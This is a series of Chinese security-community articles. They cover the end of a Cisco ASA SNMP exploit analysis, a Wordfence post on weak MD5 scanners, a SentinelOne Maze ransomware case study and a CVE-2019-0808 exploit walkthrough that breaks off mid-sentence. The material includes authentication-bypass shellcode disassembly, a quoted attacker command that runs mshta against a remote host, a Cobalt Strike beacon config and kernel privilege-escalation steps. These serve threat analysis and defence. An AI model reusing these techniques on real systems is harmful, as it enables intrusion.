0xab7b760a: call *%eax
0xab7b760c: popa
0xab7b760d: ret
我们继续在0xab7b760a和0xab7b760d处下两个断点，可以读取到shellcode的下一处跳转地址和整个shellcode执行结束后的返回地址，其中先在第一个中断处读取到EAX的值，并查看其跳转处的代码：
(gdb) i r eax
eax 0xab7b1462 -1417997214
(gdb) x /23i 0xab7b1462
0xab7b1462: mov $0xa5a5a5a5,%edi
0xab7b1467: mov $0xa5a5a5d8,%eax
……
0xab7b1481: xor %edi,%edx
0xab7b1483: int $0x80 ;mprotect()
0xab7b1485: jmp 0xab7b149b
0xab7b1487: mov $0x906ed20,%edi
0xab7b148c: xor %ecx,%ecx
0xab7b148e: mov $0x4,%cl
0xab7b1490: cld
0xab7b1491: rep movsb %ds:(%esi),%es:(%edi) ;copy patch bytes to offset
0xab7b1493: jmp 0xab7b14a4 ;go to payload2
0xab7b1498: pop %esi
0xab7b1499: jmp 0xab7b1487
0xab7b149b: call 0xab7b1498
0xab7b14a0: xor %eax,%eax
0xab7b14a2: inc %eax
0xab7b14a3: ret
发现这段地址存储的代码正是之前构造的payload，该部分payload修改了telnet和ssh的认证流程，使其身份认证过程失效。这段代码有两个主要的操作：
1）在0xab7b1483处通过linux系统调用mprotect()赋予相关内存页面可读/可写/可执行权限，然后直接jmp 0xab7b149b。
2）在0xab7b149b处，代码将下一个指令的地址压入到栈中，然后跳转到0xab7b1498，然后pop出当前栈顶数据，此时正好将地址0xab7b14a0写到了ESI中，接着通过rep指令将最后三行代码写入到身份认证函数的起始地址0x906ed20处，这样认证函数无论接收到了怎样的用户名和密码参数，都直接返回true，从而绕过系统的身份认证。可以查看溢出后错误的随机用户名依旧保存在登录系统中，如下图：
继续执行continue命令，程序停在了0xab7b760d处，通过查看ESP指向的栈顶数据来确定ret的地址：
(gdb) i r esp
esp 0xab7b104c 0xab7b104c
(gdb) x /wx 0xab7b104c
0xab7b104c: 0x089f672c
(gdb)
shellcode执行完成后跳转的地址为0x089f672c，这正是sub_89F4750函数执行完成后的正常返回地址，见下图，从而避免了原系统栈被破坏而导致系统崩溃，至此动态分析过程全部结束。
在cisco ASA系统对SNMP报文OID长度做了限制，只能有128字节，
OID固定的头部标识占去了17字节，在栈中v32指向的内存起始地址距函数返回地址的偏移量为82字节，由此可计算超出函数返回地址的溢出长度为：OID总长度 –
OID head – 偏移量 = 128 – 17 – 82 = 29字节，分析来看通过jmp esp的方式最多只能执行29字节的代码。
**0x04总结**
针对此次ASA漏洞及exp的分析和重现，我们发现该漏洞溢出的长度并不大，远远不够载入一次完整攻击所有shellcode，
因此exp构造的shellcode分布在内存的多个区域，通过多次跳转来完成完整的exploit。此外，虽然漏洞触发后可获取ASA设备底层的系统权限，一般会采用反弹shell的方式来进行利用，但该exp并没有直接获取shell，而是通过更改lina程序的执行流程来突破了telnet和ssh的身份认证。这样做一方面隐蔽性非常高，系统几乎难以发现入侵的痕迹，同时还可以充分发挥ASA设备强大网络操控功能，例如监听流量，配置隧道来进行隐秘的监听，而底层linux系统编译进来系统命令很少，利用的功能相对有限。同时该exp实现了ASA系统多版本的适配，确实可以反映出该漏洞利用程序的开发有着相对较高工程化的实现。 | 社区文章 |
# 【技术分享】避免使用不安全的哈希扫描程序
|
##### 译文声明
本文是翻译文章，文章来源：wordfence.com
原文地址：<https://www.wordfence.com/blog/2016/12/weak-hash-scanners-avoid-malware-scanners-use-md5/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[](http://bobao.360.cn/member/contribute?uid=2606886003)[secist](http://bobao.360.cn/member/contribute?uid=1427345510)[
](http://bobao.360.cn/member/contribute?uid=2606886003)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在这篇文章中，我将讨论几个 WordPress 恶意软件扫描器，存在的一个主要的问题：使用弱哈希算法对文件的好和坏进行标识。在一些 WordPress
之外的恶意软件和病毒扫描器上，同样也发现了类似的问题。
为了使我接下来的阐述更加清晰简洁，下面我将其称之为“弱 hash 扫描器”问题分析。
此问题可能允许攻击者隐藏恶意软件，而是用 MD5 散列算法的扫描器将无法检测到它。下面我将解释安全中 hash
使用的一些问题及解决方法。我还将演示这个问题和进一步深入探讨。 我还将描述 Wordfence 是如何在恶意软件扫描器上，使用安全的哈希算法的。
**
**
**安全行业中是如何使用哈希来鉴别文件的？**
在安全行业中，我们通常所说的算法是指，一个文件在经过一系列逻辑运算后，生成唯一一个数字，称之为算法。该数字用于唯一文件标识。
此过程称之为散列算法，唯一编号则被称为“散列”。
我们所使用的各种散列算法真的非常实用和有趣。例如，我们先来获取一个恶意软件，然后为它创建一个哈希值并保存它。
接着，我们创建一个包含该恶意软件哈希值的文件，并用扫描器进行检查。
如果扫描器发现该哈希值，与我们之前创建的恶意软件的哈希值匹配，则我们就可以知道该文件为恶意程序。
我们还可以使用 hash 来识别检查已知正常的文件。 在 Wordfence 我们已经为 WordPress
中，那些已知安全的文件创建了哈希。我们为所有的主题，插件及核心版本都做了哈希值，在之前的所有 WordPress 历史版本中。
从刚刚 Wordfence 跟踪的哈希检查结果来看：
205,146 Wordfence 知道的 WordPress 核心文件是安全的。
5,967,361 Wordfence 知道的 WordPress 主题文件是安全的。
23,527,261 Wordfence 知道的 WordPress 插件是安全的。
散列对于像我们这样的安全公司来说，是一种存储小块数据，用于唯一地识别已知文件是否正常的鉴别工具。我们会使用该数据来检查那些文件是否存在于我们的系统上。然后我们将来决定，是保留文件还是删除它。
下图说明了，恶意软件扫描器是如何使用散列，来识别文件的。
**
**
**不是所有的哈希算法都是相同的：MD5 vs SHA-2**
我们可以通过多种方法来创建哈希，无论我们使用哪种哈希算法，他都会为我们生成一串唯一固定长度的数字。MD5 是一种散列算法，它是由 Ron Rivest
教授于1991年发明的。这是一个不错的散列算法，不过目前看来它已经相当古老，而且也并不安全。
另一个更新和更安全的哈希算法称为SHA-2由国家安全局开发，并由国家标准与技术研究所于2001年发布。直到今天 SHA-2
仍被广泛使用，并被认为足够的安全并非常适用于商业加密。
MD5 加密算法，现在已经相当古老。它的问题是极容易被恶意攻击者利用“碰撞”的方式进行攻击。 这里其实很容易理解：我们可以为两个不同的文件创建使用相同的
MD5 哈希值，或唯一的证书签名。这就可能躲过恶意软件扫描器的扫描，误认为恶意文件实际上是已知正常的文件。
这就是为什么我们要在 Wordfence 中，使用 SHA-2 来跟踪已知文件。因为它可以防止攻击者创建具有与已知正常文件相同的散列，从而避免误检。
**
**
**弱哈希扫描器的问题**
不幸的是，不是所有的安全产品都这么做。在 WordPress 中，一些恶意扫描程序，在扫描恶意文件时仍然使用老旧的 MD5 哈希文件。例如
WordPress 的 Sucuri 插件和“Shield WordPress Security ”这两款插件，它们仍然使用 MD5
来检测核心文件的更改情况。他们的方式是从 [api.wordpress.org](http://api.wordpress.org/) 来获取最新的MD5
哈希值的。
这些产品使用的 API 并非设计用于恶意软件的检测扫描。它最初是[在 2013 年的 WordPress
升级过程中被创建](https://core.trac.wordpress.org/ticket/18201)的，用于帮助确定哪些文件是需要升级的。此外该
API 使用的 MD5 算法在加密方面不够强大，也无法适用于恶意或安全文件的检测分析。
在 Wordfence 我们使用的是 SHA-2 散列算法，这也是我们为什么创建了，我们自己的用于恶意软件扫描的 API
的原因之一。这样做的目的是让我们能使用加密强的哈希函数，来确保恶意软件不能通过利用弱哈希算法，来逃避检测。
上周，安全研究人员展示了 [如何创建两个具有相同 MD5 哈希值的 Windows
可执行文件](https://blog.silentsignal.eu/2016/11/28/an-update-on-md5-poisoning/)。这将允许攻击者创建一个友好的可执行文件和另一个恶意文件，然后将友好可执行文件替换，并避免检测。
2014 Nat McHugh 演示了如何创建[两个不同的 PHP 文件
](http://natmchugh.blogspot.kr/2014/10/how-i-made-two-php-files-with-same-md5.html)和 [两个不同的图像文件](http://natmchugh.blogspot.kr/2014/10/how-i-created-two-images-with-same-md5.html)，拥有相同的 MD5 哈希值。这在PHP中展示了相同的概念 –
攻击者可以创建一个友好的文件，变得可信，然后用恶意文件替换它，避免 MD5 扫描器检测。
这项研究，实际上已经有一段时间了。它早在2005年就由中国山东大学的 [王晓云和洪波宇写的一篇文章
](http://merlot.usc.edu/csac-f06/papers/Wang05a.pdf)中首先提到，他们称之为 MD5 的模块化差异攻击。
2007年，Marc Stevens 创建了一个 [开源工具包 ](https://marc-stevens.nl/p/hashclash/)作为他的硕士论文的一部分，实际上也是利用了 MD5
的这个问题。这些工具使用的，就是上面相同的方法，使用相同的 MD5 哈希值来创建不同的文件。
这项研究表明，可能已经有攻击者利用 MD5 来提供一个安全文件，然后再用恶意文件替换它，来夺避使用 MD5 检测的扫描器。攻击者可能很快就会创建出与合法的
WordPress 核心文件，拥有相同 MD5 哈希的恶意替换文件。因此，对于我们而言重要的是避免使用通过 MD5
来检测文件的扫描器，而是使用拥有强大的加密哈希函数，来验证文件完整性的扫描程序来进行检测。
**
**
**写这篇文章的目的**
我想通过这篇文章达到以下两个目的：
1\. 如果你是安全产品的客户，请确保你选择的安全产品正在使用 SHA-2 或其他更为安全的散列算法来进行恶意软件的扫描及检测。因为一旦它使用的是 MD5
验证，那么他会错误的将一个高危文件，识别成一个可靠的安全的文件，这对你来说无疑是非常危险的！
2\. 如果你是安全供应商，并且尚未将你的安全产品切换到 SHA-2 或安全散列算法的话，那么为了你客户的安全利益，请你务必做好这个工作。 | 社区文章 |
**原文链接：[https://labs.sentinelone.com/](https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/
"https://labs.sentinelone.com/")
译者：知道创宇404实验室翻译组**
## 摘要
* Maze勒索软件是目前在野外使用最广泛的勒索软件之一，由具有能力的参与者进行分发。
* 我们发现了一个Maze分支机构，在交付勒索软件之前部署了量身定制的持久性方法。
* 行动者似乎使用了被盗的证书在其信标上签名。
* 与其他攻击一样，行动者使用HTA有效载荷作为交互式外壳，能够捕获到实时的和去模糊化的内容。
## 背景
Maze勒索软件在过去的大约一年时间里被广泛使用，成为全世界许多不同参与者的最终有效载荷。今年，臭名昭著的Maze运营商不仅开始通过加密文件勒索公司，而且威胁会在线[发布被窃取的文件，](https://labs.sentinelone.com/maze-ransomware-update-extorting-and-exposing-victims/)从而勒索公司。最近，我们抓住了一个Maze会员，该会员尝试通过借由我们客户的网络进行传播。
在这篇文章中，我们分享有关该Maze会员使用方法的详细信息，以阐明他们的策略并帮助安全团队在自己的网络中寻找类似的IOC。
## 攻击入口点
如先前在其他[Maze事件中](https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/)所报告的那样，攻击者可能通过强制使用管理员的密码，使用RDP来访问面向Internet的计算机。对美国公司的攻击之一始于7月4日（星期六），选择这个日期显然是猜测许多人（尤其是安全人员）那天可能不在工作。
攻击者使用RDP连接并上传了自己信标的有效载荷，并伪装成名为`netplwiz.exe`的已知Microsoft二进制文件。它们的有效载荷与具有相同名称的真正二进制文件具有相同的图标和描述，并且也进行了签名，很可能带有被盗的证书。
Sysinternals的`sigcheck.exe`对原`netplwiz.exe`：
c:\windows\system32\Netplwiz.exe:
Verified: Signed
Signing date: 10:29 AM 6/6/2020
Publisher: Microsoft Windows
Company: Microsoft Corporation
Description: Advanced User Accounts Control Panel
Product: Microsoft? Windows? Operating System
Prod version: 10.0.18362.1
File version: 10.0.18362.1 (WinBuild.160101.0800)
在恶意的[netplwiz.exe中](https://www.virustotal.com/gui/file/81a9ced421d01a2f9a7bf1335d227eee19606fe220a50ecf96a78abca6cc816b/details)，我们可以看到被盗的证书：
c:\windows\system32\Netplwiz.exe:
Verified: Signed
Signing date: 10:29 AM 6/6/2020
Publisher: Microsoft Windows
Company: Microsoft Corporation
Description: Advanced User Accounts Control Panel
Product: Microsoft? Windows? Operating System
Prod version: 10.0.18362.1
File version: 10.0.18362.1 (WinBuild.160101.0800)
仔细查看证书：
该可执行文件是一个简单的打包程序，可加载Cobalt Strike信标的版本4。该打包程序非常简单，并执行以下操作：
* 隐藏他们的窗口
* 使用[isDebuggerPresent](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent)检查调试器
* 解码XOR的无级 信标（注意–使用[VirtualAllocExNuma](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocexnuma)而不是更常用的[VirtualAlloc / Ex](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)进行内存分配）
* 执行信标
解码功能如下所示：
我们从内存中转储信标并[解析其配置](https://github.com/Sentinel-One/CobaltStrikeParser)：
## 量身定制的持久性机制
尽管进入方法相当普遍，但攻击者在其持久性方法上显示出了极大的创造力，这些持久性方法是针对发现自己的机器量身定制的。
例如，一台主机正在运行SolarWinds
Orion实例。该Orion产品[使用RabbitMQ作为内部消息传递组件，](https://support.solarwinds.com/SuccessCenter/s/article/Rabbit-MQ?language=en_US)并随产品一起安装。RabbitMQ用Erlang编写，因此使用[Erlang运行时服务](https://erlang.org/doc/man/erlsrv.html)（`erlsrv.exe`）运行。
攻击者依靠此依赖关系链在`erlsrv.exe`进程中生成自身并在主机上获得持久性，因为RabbitMQ服务正在运行`erlsrv.exe`。
当攻击者将包含其 信标暂存器的两个DLL放到磁盘上，然后开始干扰RabbitMQ服务时，我们可以看到此情况：
tasklist /SVC
sc qc RabbitMQ
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\acluapi.dll?
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\version.dll
sc stop RabbitMQ
sc start RabbitMQ
被劫持的DLL是version.dll，通常是从system32文件夹加载的。通过将其放入与`erlsrv.exe`相同的文件夹中，它加载了他们的`version.dll`，并且加载
_了_ 包含信标的`acluapi.dll`。
重新启动RabbitMQ服务后，钴击信标开始与netplwiz中的域通信，但这次是从`erlsrv.exe`和SYSTEM完整性级别进行通信。
在另一种情况下，它显示出对本地环境的类似适应性，攻击者将Java
Updater定位为在计算机启动时运行，并删除了`jusched.exe`在启动时加载的DLL 。
安装持久性后，攻击者进行了一些域侦查，并将[ngrok](https://ngrok.com/)上传到`C：\ Windows \
dwm.exe`并将其用于隧道。
他们还运行了：
sc config UI0Detect start= disabled
顾名思义，UI0Detect [会检测](http://itshi-tech.blogspot.com/2017/09/what-is-interactive-services-detection.html)会话0中的程序尝试与桌面进行交互并向用户发出警报。对于他们来说，禁用此服务很重要，以避免在以SYSTEM身份运行时意外弹出消息框或启动GUI应用程序时提醒用户。
## HTA有效负载
当他们找到一台服务器想要横向移动时，使用了`sc.exe`并部署了一个工具，该工具为目标服务器提供了一个在线shell。
具体来说，他们运行了以下命令（IP更改）：
sc \\ 192.168.90.90 config MiExchange binPath = “” c：\ windows \ system32 \ cmd.exe / c start mshta http：//crt.officecloud [.] top / st“
他们使用[mshta](https://lolbas-project.github.io/lolbas/Binaries/Mshta/)运行托管在其站点上的HTA有效负载。我们认为HTA是他们在远程计算机上联机工作的方式，如果他们认为值得的话，可以在部署其Cobalt
Strike 信标之前在远程计算机上进行在线工作。
HTA有效负载是一种有些复杂且自动混淆的代码，我们认为它是自制的（因为我们没有找到它在线的证据）。
您可以在[此处](https://gist.github.com/Kristal-g/e0b6756bb5610470e78d892251cefbf6)查看混淆和我们混淆后的版本。
主循环-编码与解码
在运行时，它首先发送计算机的一些基本信息，例如操作系统版本、路由信息、域控制器名称（如果计算机是域的成员）等等：
有效负载包含一个首次运行时为空的变量。在这种情况下，它使用`mshta.exe`从服务器运行另一个HTA ，它与自身完全相同，只是变量现在包含值“
prfx”而不是为空。
因此，它进入了从服务器运行HTA的循环。
简化的代码如下所示：
try {
if (mainFuncStruct.emptyIfFirstRun != "prfx") {
try {
mainFuncStruct.funcStruct6.runMshtaFromCNC("");
} catch (e) {
mainFuncStruct.funcStruct6.sendErrorDataToCNC(e)
}
mainFuncStruct.killSelf();
} else {
if (mainFuncStruct.isRunningInMshta())
LimitedRunLoop();
else
InfiniteRunLoop();
}
} catch (e) {
mainFuncStruct.funcStruct6.sendErrorDataToCNC(e);
}
有效负载很有趣，因为它具有一些独特的行为：
1. 它既可以作为JScript文件也可以作为HTA文件运行
2. 不从服务器接收简单的`cmd.exe`命令，而仅从HTA（可以自己运行`cmd.exe`）接收命令
3. 每次从服务器请求时都会自动对其进行模糊处理
从狩猎角度来看，还值得注意的是，它直接运行`net1.exe`而不是`net.exe`，可能是在逃避基于EDR和基于命令行的检测方法。
## 结论
以上所有这些说明他们都是非常有能力的攻击者。尽管他们使用了大多数已知的方法，但也显示出一定的创造力，可以成功切轻松地破坏目标，快速地横向移动目标。但是，在未造成任何伤害之前，它们仍被[SentinelOne代理](https://www.sentinelone.com/platform/)捕获并缓解。
由于他们的HTA服务服务器仍处于在线状态，并且该活动仍在进行，因此我们建议安全团队检查其EDR数据或SIEM中是否存在以下IOC，并迅速缓解发现的任何IOC，以防止部署勒索软件。
## IOCs
**HTA有效负载服务器**
crt.officecloud[.]top
crt.globalsign[.]icu
mhennigan.safedatasystems[.]com
**CS信标服务器**
ocspverisign [.] pw
**使用的其他工具**
ngrok.exe
证书签名者：“ Clubessential, LLC.”
**完整的信标配置**
BeaconType - HTTPS
Port - 443
SleepTime - 61107
MaxGetSize - 1048580
Jitter - 13
MaxDNS - 245
C2Server - pkcs.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
crl.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
pfx.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD2BOyl2B0LhPg9JxyQm
UserAgent - Microsoft-CryptoAPI/10.0
HttpPostUri - /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ
HttpGet_Metadata - Cookie: cdn=ocsp;
Cookie
HttpPost_Metadata - Content-Type: application/ocsp-request
Cookie: cdn=ocsp;
u
DNS_Idle - 8.8.8.8
DNS_Sleep - 0
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\werfault.exe
Spawnto_x64 - %windir%\sysnative\wuauclt.exe
CryptoScheme - 0
Proxy_Behavior - Use IE settings
Watermark - 305419896
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - False
bProcInject_MinAllocSize - 21036
ProcInject_PrependAppend_x86 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
Empty
ProcInject_PrependAppend_x64 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
Empty
ProcInject_Execute - ntdll.dll:RtlUserThreadStart
SetThreadContext
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
* * * | 社区文章 |
# Chrome漏洞调试笔记2-CVE-2019-0808
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在《Chrome漏洞调试笔记1-CVE-2019-5768》中，笔者介绍了2019年出现的一个Chrome浏览器在野漏洞的原理和利用方法。文末通过关闭Chrome沙箱的方法（–no-sandbox）演示了渲染进程中Shellcode的执行。但是在实际利用中，由于Chrome浏览器的渲染进程受到沙箱模块的保护，像blink或者v8这些在渲染进程中模块的漏洞即使被利用，也难以穿过沙箱。因此在实际利用中，仍需要寻找其他方法穿过Chrome的沙箱。
我们知道，Chrome基于多进程架构，主要包括浏览器进程和渲染进程，进程间通过IPC通信（Mojo）:
其中渲染进程运行着不可信的HTML和JS代码，浏览器中的每一个tab为一个独立的进程，运行在Untrusted的低权限等级，并通过沙箱引擎隔离。因此像CVE-2019-5768这样的渲染进程中的远程代码执行漏洞仍需要结合其他高权限漏洞实现沙箱逃逸。一般来说有几种思路：1）利用浏览器进程的漏洞，比如IndexedDB，Mojo等；
2）利用操作系统内核漏洞，比如与CVE-2019-5768组合的win32k.sys内核提权漏洞CVE-2019-0808。
## 0x0 漏洞原理分析
CVE-2019-0808是win32k.sys中的一个空指针解引用漏洞。根据360的Blog，漏洞存在于win32k！xxxMNMouseMove函数中：
首先分析xxxMNMouseMove函数：
可以看到，xxxMNMouseMove函数中首先通过xxxMNFindWindowFromPoint函数根据当前输入坐标返回对应的窗口对象，然后通过xxxMNUpdateDraggingInfo函数更新窗口拖动信息。跟进分析xxxMNFindWindowFromPoint函数：
这里通过xxxSendMessage函数像用户态发送WM_MN_FINDMENUWINDOWFROMPOINT（0x1EB）消息获取窗口句柄，并通过HMValidateHandleNoSecure函数将窗口句柄转为内核态窗口对象返回xxxMNMouseMove函数。
继续跟进xxxMNUpdateDraggingInfo函数：
xxxMNUpdateDraggingInfo函数内部首先调用MNGetpItem根据pMENUSTATE_->uDraggingIndex返回对应的tagITEM，跟进MNGetpItem函数：
MNGetpItem函数参数中pPopupMenu指向的就是xxxMNFindWindowFromPoint返回的窗口对象tagWND（tagMENUWND）+0xb0保存的弹出菜单tagPOPUPMENU，tagPOPUPMENU的spmenu属性指向其对应的菜单对象tagMenu。注意到pPopupMenu是通过xxxSendMessage返回的，这里在访问pPopupMenu->spmenu的cItems属性时，并没有对pPopupMenu->spmenu指针进行空指针检查。如果可以通过xxxSendMessage返回一个用户态伪造的pPopupMenu->spmenu
= NULL，那么这里就存在一处空指针解引用漏洞。而空指针解引用漏洞在Win7环境中是可以通过分配零页内存利用的。
那么如何返回一个(tagMENUWND +0xb0)->pPopupMenu->spmenu =
NULL的窗口对象呢，关键在于xxxMNFindWindowFromPoint函数中的xxxSendMessage函数调用。Windows
API提供了SetWindowsHookEx和SetWinEventHook这样的消息/事件钩子API用来截获窗口的消息/事件，因此可以通过设置SetWindowsHookEx和SetWinEventHook函数利用xxxSendMessage向用户态发送WM_MN_FINDMENUWINDOWFROMPOINT消息的机会，创造一个内核态到用户态的回调，从而打破内核态中xxxMNMouseMove中的原子操作，返回用户态伪造的窗口对象。
具体PoC构造如下：
1. 获取user32! NtUserMNDragOver函数地址
win32k!xxxMNMouseMove由win32k!xxxMNDragOver调用，而win32k!xxxMNDragOver由用户态user32!
NtUserMNDragOver调用。由于user32! NtUserMNDragOver未导出，因此可以通过user32!
NtUserMNDragOver附近导出函数地址+偏移的方式获取。这里选择user32! NtUserMenuItemFromPoint：
可以看到，user32! NtUserMNDragOver在user32! NtUserMenuItemFromPoint + 0x3A处，对应PoC代码：
当然也可以通过内联汇编的方式直接调用syscall：
这里11ED是NtUserMNDragOver对应的syscall编码，[7FFE0300h]保存的是ntdll!KiFastSystemCall函数地址。
2. 创建两个非模态可拖放的弹出菜单
这里分别创建两个非模态可拖放的弹出菜单Root和子菜单Sub。
3. 创建伪造菜单窗口对象
根据MSDN，”#32768″为系统使用的ClassName，直接调用后创建的菜单窗口对象属性tagPOPUPMENU->spmenu =
NULL，满足漏洞触发条件：
4. 创建主窗口
5. Hook WH_CALLWNDPROC消息和EVENT_SYSTEM_MENUPOPUPSTART事件
6. 显示弹出菜单窗口
TrackPopupMenuEx会调用内核函数xxxTrackPopupMenuEx。xxxTrackPopupMenuEx首先会调用xxxCreateWindowEx创建菜单对象tagMENU对应的窗口对象tagWND（tagMENUWND）和弹出菜单窗口对象tagPOPUPMENU，其中tagWND+0xb0
-> tagPOPUPMENU，tagPOPUPMENU + 0x8 -> tagWND（spwndPopupMenu）， tagPOPUPMENU +
0x14 ->
tagMENU（spmenu）；接着调用xxxSetWindowPos设置菜单窗口的坐标；最后调用xxxWindowEvent发送EVENT_SYSTEM_MENUPOPUPSTART事件表示菜单弹出开始。
7. 处理窗口消息循环，等待条件触发漏洞
当主线程进入窗口消息循环后，因为xxxTrackPopupMenuEx发送事件EVENT_SYSTEM_MENUPOPUPSTART，且EVENT_SYSTEM_MENUPOPUPSTART事件被SetWinEventHook函数Hook，用户态函数DisplayEventProc第一次被调用：
此时iMenuCreated = 0，触发case
0分支，发送鼠标左键按下消息，从而子菜单sub弹出，再次触发EVENT_SYSTEM_MENUPOPUPSTART事件并第二次调用DisplayEventProc函数。第二次iMenuCreated
= 1，触发case 1分支，发送鼠标移动消息，返回前iMenuCreated++ = 2满足消息循环中的if (iMenuCreated >=
1)分支。由于两次调用DisplayEventProc形成了鼠标拖动的操作，最终进入xxxMNMouseMove函数触发漏洞。
根据前面的分析，xxxMNMouseMove函数内部的xxxMNFindWindowFromPoint函数通过xxxSendMessage发送WM_MN_FINDMENUWINDOWFROMPOINT消息。由于窗口消息WH_CALLWNDPROC被SetWindowsHookEx函数Hook，从而触发WindowHookProc中if分支代码的调用：
该if分支中通过SetWindowLongPtr替换窗口的默认过程函数DefWindowProc为SubMenuProc，从而进入SubMenuProc：
SubMenuProc最终返回用户态构造的窗口对象句柄hWndFakeMenu作为xxxMNFindWindowFromPoint函数调用xxxSendMessage的返回值，最终得到一个pPopupMenu->spmenu
= NULL的空指针。
动态调试过程如下：
用户态构造的弹出菜单窗口句柄：
在win32k!xxxMNFindWindowFromPoint函数call
win32k!xxxSendMessage前下断点，检查xxxSendMessage调用后的返回值：
可以看到返回的正是用户态构造的窗口对象句柄0x00020284。继续步过，win32k!HMValidateHandleNoSecure返回对应的内核对象tagWND地址0xfea22310。根据之前的分析，tagWND+0xb0
-> tagPOPUPMENU=0xfda091c0 ,而tagPOPUPMENU+0x14->spmenu = NULL满足漏洞触发要求：
继续执行，进入xxxMNUpdateDraggingInfo函数的MNGetpItem函数，因为此时spmenu（ecx）=
NULL，从而触发空指针解引用异常，最终导致BSOD：
## 0x1 寻找利用点
对于内核态的空指针解引用漏洞，Win7中用户态可以通过ntdll!NtAllocateVirtualMemory函数分配零页内存利用。分配零页内存的原理比较简单，不再详述：
具体分析分配零页内存后代码执行的流程，寻找后续可利用点：
可以看到在分配零页内存后，pMenu->cItems [0x00000020] =
0x00000000不再触发内存访问异常，但是因为if判断中uDraggingIndex < pMenu->cItems=0
不成立，导致返回pItem=0。我们需要控制程序流程走到红框分支，返回可控数据：
由于零页内存可控，考虑设置[0x00000020]=0xffffffff：
再次运行利用程序，控制流程进入if分支：
这次uDraggingIndex < pMenu->cItems=0xffffffff 成立，进入if成立分支，并注意到函数返回值eax =
uDraggingIndex * 0x6c +
[0x00000034]，其中[0x00000034]可控。如果uDraggingIndex的值也可以泄露的话，MNGetpItem函数的返回值就用户态可控。
继续执行，返回xxxMNUpdateDraggingInfo函数：
继续向后寻找，下面一处函数调用是xxxMNSetGapState，注意到xxxMNSetGapState函数中存在位修改操作：
幸运的是，这里再次出现了之前分析的MNGetpItem函数，并且MNGetpItem函数的第一个参数就是从用户态返回的tagPOPUPMENU，其属性spmenu正指向零页内存，用户态可控。而根据之前对MNGetpItem函数返回值的分析知道，返回值eax
= (uDraggingIndex – 1) * 0x6c +
[0x00000034]，其中[0x00000034]可控，uDraggingIndex可以从tagMSG的wParam取到，因此MNGetpItem函数返回的pItem值用户态可控。从而可以通过pItem->fState
|= 0x40000000u 实现指定地址的值修改为与0x40000000或的功能，计算过程如下（addressToWrite表示写入地址）：
1. pItem = eax = (uDraggingIndex – 1) * 0x6c + [0x00000034]
2. [pItem->fState] = [eax + 0x4] = [(uDraggingIndex – 1) * 0x6c + [0x00000034] + 0x4] |= 0x40000000
3. [addressToWrite] = [(uDraggingIndex – 1) * 0x6c + [0x00000034] + 0x4] |= 0x40000000
4. [0x00000034] = addressToWrite – (uDraggingIndex – 1) * 0x6c – 0x4
这里addressToWrite就是期望写入的地址，首先设置为0，查看是否可以利用漏洞修改成功：
动态调试发现，未进入xxxMNSetGapState函数前就发生了内存访问异常，静态分析这段代码：
因此这里需要将[0x0000004c]*0x6C + [0x00000034] +
0x28地址指向的稳定可读写的内存区域，Exodus的exp中选择了零页内存0x180附近的地址，并设置其值为0xF0F0F0F0从而进入pMENUSTATE_->uDraggingFlags
= 1的else分支：
再次调试，成功步过之前的crash点，最终将0x00000000的值修改为0x40000000
这样，我们就实现了指定地址值的有限修改功能。
## 0x2 窗口对象喷射
那么获得了指定地址值的修改功能后，如何进一步利用呢？Exodus的blog中选择了窗口对象喷射：
简单的说就是通过创建大量窗口对象tagWND，寻找到两个相近的tagWND。因为tagWND+0x90->cbwndExtra表示窗口附加数据长度（tagWND+0xB0开始），从而可以通过漏洞修改第一个窗口的cbwndExtra
=
0x40000000实现第一个窗口附加数据越界读写功能。而第一个窗口对象附加数据越界读写目标是修改第二个窗口对象的strName.Buffer指针，从而通过设置第二个窗口的strName实现指定地址数据修改功能。
窗口对象喷射有一个需要解决的问题是如何在用户态泄露内核态窗口对象指针。user32!HMValidateHandle可以用来泄露内核对象地址，user32!
HMValidateHandle用来返回窗口句柄的THRDESKHEAD结构体，而THRDESKHEAD.pSelf属性保存了该句柄的内核对象地址：
但是user32!HMValidateHandle并未导出，因此需要借助其他导出函数寻找，这里选择的是user32! IsMenu：
IsMenu间接调用函数HMValidateHandle。查找HMValidateHandle函数地址代码如下：
得到HMValidateHandle函数地址后，就可以进行窗口喷射，找到满足要求的两个相近窗口对象，窗口喷射部分代码说明：
## 0x3 内核态Shellcode执行
通过窗口对象喷射，我们得到两个相邻的窗口对象，并可以利用漏洞修改第一个窗口对象的cbwndExtra实现第一个窗口对象附加数据越界读写功能。我们最终的目的是在内核态执行用户态的shellcode，窗口对象tagWND.
bServerSideWindowProc标志位可以帮助实现此功能。如果tagWND. bServerSideWindowProc
